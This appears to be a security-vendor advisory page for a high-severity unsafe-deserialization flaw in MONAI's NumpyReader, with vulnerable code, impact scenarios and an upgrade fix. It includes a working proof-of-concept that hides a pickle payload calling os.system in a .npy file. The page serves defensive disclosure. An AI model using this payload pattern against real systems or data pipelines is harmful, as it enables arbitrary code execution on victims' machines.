Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-wg9g-w2j2-8pgr — monai

HIGHFix: Project-MONAI/MONAI#8875

GHSA-wg9g-w2j2-8pgr is a high-severity (CVSS 7.8) Deserialization of Untrusted Data vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.

MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files

Also known asCVE-2026-100845PYSEC-2026-4020
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-wg9g-w2j2-8pgr.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs3th percentile — riskier than 3% of all scored CVEsHighest risk
0.00%0.21%0.43%0.64%0.1%0.1%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-wg9g-w2j2-8pgr by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 382,205 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍monai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

  • torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
  • PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

  1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
  2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
  3. LoadImage selects NumpyReader based on file extension
  4. NumpyReader.read() calls np.load(name, allow_pickle=True)
  5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

  1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

  2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

  3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImonaiall versions1.6.0pip install --upgrade 'monai==1.6.0'

Affected Products

1 product · 1 configurations
Application
monaiproject-monai
< 1.6.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update monai to 1.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wg9g-w2j2-8pgr is resolved across your whole dependency graph.

  3. Workarounds

    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.

Frequently Asked Questions

### Summary The `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except `allow_pickle`"). ### Details **Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276))
O3 Security · Impact-Aware SCA

Is GHSA-wg9g-w2j2-8pgr in your dependencies?

Find it across PyPI, including transitive dependencies.

GHSA-wg9g-w2j2-8pgr: RCE — Fixed in 1.6.0 | O3 Security